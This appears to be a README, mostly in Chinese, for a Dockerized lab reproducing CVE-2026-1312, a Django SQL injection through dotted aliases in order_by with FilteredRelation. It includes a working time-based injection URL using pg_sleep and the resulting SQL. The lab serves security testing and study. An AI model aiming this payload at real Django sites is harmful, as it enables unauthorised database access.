
Reproduces CVE-2026-1312, a Django SQL injection vulnerability, with a Dockerized environment and step-by-step PoC for security testing.
CVE-2026-1312 是一个高危 Django SQL 注入漏洞:当 QuerySet.order_by() 中使用包含点号的列别名,并配合 FilteredRelation 通过字典展开动态构造查询时,可能被攻击者注入恶意 SQL
受影响版本:
该漏洞项目使用vscode的devcontiner进行构建
1️⃣ 打开项目 用 VS Code 打开已经存在的项目根目录(包含 .devcontainer 文件夹)。
2️⃣ 重新打开容器(构建 Dev Container)
按 Ctrl+Shift+P(Windows/Linux)或 Cmd+Shift+P(Mac)
输入 Remote-Containers: Reopen in Container
VS Code 会读取 .devcontainer 配置并构建容器(首次构建可能需要几分钟)
⚠️ 如果 Dockerfile 或依赖更新过,可以选择 Remote-Containers: Rebuild Container,确保使用最新环境。
3️⃣ 运行 Django 开发服务器
打开命令面板 Ctrl+Shift+P
输入 Tasks: Run Task
选择 django:start(任务已在 .vscode/tasks.json 配置)
这个任务会在容器内启动 Django 开发服务器
默认监听 0.0.0.0:8086
4️⃣ 打开浏览器访问项目
打开浏览器访问:
5️⃣ 注意事项
第一次运行:
可能需要执行数据库迁移:
python manage.py migrate
访问/book/search接口,http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
即可看到延时3秒成功
此时django orm底层编译出来的sql为
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC